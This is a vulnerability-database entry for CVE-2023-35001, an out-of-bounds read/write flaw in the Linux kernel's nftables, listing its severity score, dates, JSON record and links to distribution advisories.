	https://security.netapp.com/advisory/ntap-20221223-0003/
	https://www.debian.org/security/2023/dsa-5324	vendor-advisory
	https://lists.debian.org/debian-lts-announce/2023/03/msg00000.html	mailing-list
	https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html	mailing-list

Impacted products

▼	Vendor	Product
	Linux	Kernel

Show details on NVD website

JSON

To clipboard

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cve-2023-35001

Vulnerability from cvelistv5

Published

2023-07-05 18:35

Modified

2024-08-02 16:17

Severity ?

7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

Linux Kernel nftables Out-Of-Bounds Read/Write Vulnerability

References

▼	URL	Tags
	https://lore.kernel.org/netfilter-devel/20230705121515.747251-1-cascardo@canonical.com/T/	issue-tracking
	https://www.openwall.com/lists/oss-security/2023/07/05/3	mailing-list
	http://www.openwall.com/lists/oss-security/2023/07/05/3
	https://www.debian.org/security/2023/dsa-5453
	https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UPHI46ROSSLVAV4R5LJWJYU747JGOS6D/
	https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/RGZC5XOANA75OJ4XARBBXYSLDKUIJI5E/
	http://packetstormsecurity.com/files/173757/Kernel-Live-Patch-Security-Notice-LSN-0096-1.html
	https://lists.debian.org/debian-lts-announce/2023/08/msg00001.html
	https://security.netapp.com/advisory/ntap-20230824-0007/
	http://packetstormsecurity.com/files/174577/Kernel-Live-Patch-Security-Notice-LSN-0097-1.html
	https://lists.debian.org/debian-lts-announce/2024/01/msg00004.html

Impacted products

▼	Vendor	Product
	Linux	Linux Kernel

Show details on NVD website

JSON

To clipboard

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          {
            "tags": [
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            ],
            "url": "https://security.netapp.com/advisory/ntap-20230824-0007/"
          },
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            ],
            "url": "http://packetstormsecurity.com/files/174577/Kernel-Live-Patch-Security-Notice-LSN-0097-1.html"
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            "url": "https://lists.debian.org/debian-lts-announce/2024/01/msg00004.html"
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        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "platforms": [
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          ],
          "product": "Linux Kernel",
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              "description": "CWE-787",
              "lang": "en",
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      ],
      "providerMetadata": {
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        "shortName": "canonical"
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      "references": [
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          "tags": [
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          "url": "https://lore.kernel.org/netfilter-devel/20230705121515.747251-1-cascardo@canonical.com/T/"
        },
        {
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        },
        {
          "url": "https://www.debian.org/security/2023/dsa-5453"
        },
        {
          "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UPHI46ROSSLVAV4R5LJWJYU747JGOS6D/"
        },
        {
          "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/RGZC5XOANA75OJ4XARBBXYSLDKUIJI5E/"
        },
        {
          "url": "http://packetstormsecurity.com/files/173757/Kernel-Live-Patch-Security-Notice-LSN-0096-1.html"
        },
        {
          "url": "https://lists.debian.org/debian-lts-announce/2023/08/msg00001.html"
        },
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        },
        {
          "url": "https://lists.debian.org/debian-lts-announce/2024/01/msg00004.html"
        }
      ],
      "title": "Linux Kernel nftables Out-Of-Bounds Read/Write Vulnerability"
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  },
  "cveMetadata": {
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    "assignerShortName": "canonical",
    "cveId": "CVE-2023-35001",
    "datePublished": "2023-07-05T18:35:17.785Z",
    "dateReserved": "2023-06-29T21:43:35.036Z",
    "dateUpdated": "2024-08-02T16:17:04.253Z",
    "state": "PUBLISHED"
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  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

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